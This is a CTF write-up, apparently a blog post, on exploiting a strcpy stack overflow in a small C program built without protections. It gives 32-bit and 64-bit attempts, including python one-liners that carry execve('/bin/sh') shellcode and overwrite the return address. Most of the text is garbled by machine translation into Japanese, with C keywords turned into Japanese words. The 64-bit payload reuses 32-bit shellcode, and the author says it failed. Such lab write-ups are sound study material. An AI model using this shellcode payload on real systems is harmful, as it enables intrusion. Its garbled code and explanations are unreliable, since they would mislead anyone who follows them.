CTF - PWN(スタックオーバーフロー)

0x00のツールを導入します

* Ubuntuシステム(カーリー缶)

*のGDB PEDAこのアーティファクト、バイナリ解析に不可欠アーティファクト

0x01のプログラムのソースコード

書式#include <stdio.hに>
する#include <string.hの>
する#include <stdlib.h>に含ま

INTメイン(int型ARGC、CHAR * ARGV [])
{
    チャーBUF [40]。
    memsetの(bufは、 '\ 0'、はsizeof(BUF));
    IF(!ARGC = 2)
    {
        のprintf( "%sの<引数> \ n"は、ARGV [0])。
        出口(1)。
    }
    strcpyの(BUF、ARGV [1])。
    printf( "%sの\ n"は、BUF)。

    0を返します。
}

0x02の32ビットプログラム解析

*のgcc -m32 -fno-スタックプロテクター-z execstack -z norelro -o PWN pwn.c //セキュリティメカニズムは追加しない何

*これは、見ることができる40バイトbufは、ソースから直接スタックオーバーフローの脆弱性を持っている可能性があります。彼は仕事を始めました。

*まず、checksecはどのようなセキュリティメカニズムを検出する最初に。私は開いて何も見つかりませんでした。

*再び通常の入力方法と見出さEBPアドレスマイナス格納されたアドレスに行くは、入力48に等しいです。(簡単に言えば、スタック上にEBPの最初の4バイトの後に内部を返す前にEBPとESP、RETとの関係を説明し、ESPの値のための待機が復帰のスタックを取るRET。長い我々はEBPできるようようだこと4つのバイトは、我々はほとんど成功し、その後、溺死しました!)

*案の定、私たちは52バイトの合計が浸水することができた後、あなたは、私たちが返すようにしたいというアドレスに戻すことができます長いそれは0xf7e24af3アドレスを溺れさせますと同じであると思います。

※上記は、リターンアドレスを見つけるために、より面倒な方法で、そしてより便利にするだけでなく、使用することをお勧めの方法があります。

*パターンは、通常の70バイトの文字列を作成し、その後のpythonに直接これらの文字列を実行し、直接70を作成します。もちろん、文字列は直接Rかもしれません。

*このアドレスで破断が見つかりました。

*その後、パターンと、このアドレスが52であることが判明したところ、52バイトの後、我々は洪水に対処しなければならないことは明らかである参照してください。

*次のステップは、直接シェルコードを生成し、便利な機能があるシェルコード、PEDAを呼び出すことです。

*私たちは0xffffd560ある矢印でシェルコードを設定する必要があります。

* R `のpython -c'print "A" * 8 +「\ X31 \ XC0 \ X50 \ X68 \ x2f \ x2f \ X73 \ X68 \ X68 \ x2f \ X62 \ X69 \ x6e \ x89 \ XE3 \ X31 \ xc9 \ x89 \ XCA \ X6A \ X0B \ X58 \ XCD \ X80 "+" A」* 20 + "\ X60 \ XD5 \ XFF \ XFF" ' `运行即可。

 

0x03の64ビットのプログラム解析

*のgcc -fno-スタックプロテクター-z execstack -z norelro -o PWN pwn.c //セキュリティメカニズムは追加しない何

* 64ビットおよび32ビットの異なる、パラメータ64は、大きすぎる場合には、それが与えられているが、ちょうどあなたのアドレスが間違っを教えていません。

* 如图可以看出RBP的地址是0x7fffffffe470,而返回的地址是0x7fffffffe478,移动了8位,很明显这是因为是64位的程序而导致的,如上面32位的程序则是移动4位,所以只要我们淹没了这个0x7fffffffe478就可以得到flag了。我们可以计算出 参数的字节 = 0x30 + 8 + 6 = 62 字节   8就是RBP那八个字节的0,6字节则是要淹没的地址。

注意!!! 不能超过那6字节也就是不能超过64字节,否则不会报错地址,这应该就是64位的保护机制了。也不能注入 \x00

* 当输入 r `python -c 'print  "\x90"*8+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"+"\x90"*24+"\x02\xe4\xff\xff\xff\7f"'`时,会出现奇怪的数值,这应该也是防止栈溢出的机制吧。  64位栈溢出暂时失败。。。。。。。

0x04 小结

很显然64位程序比32位要安全的多,许多的保护机制,更加难以渗透,也许是本人的能力还不够,有很大的进步空间,希望下次遇到64位程序时能攻进去!

发布了31 篇原创文章 · 获赞 17 · 访问量 1万+

おすすめ

転載: blog.csdn.net/q759451733/article/details/90597740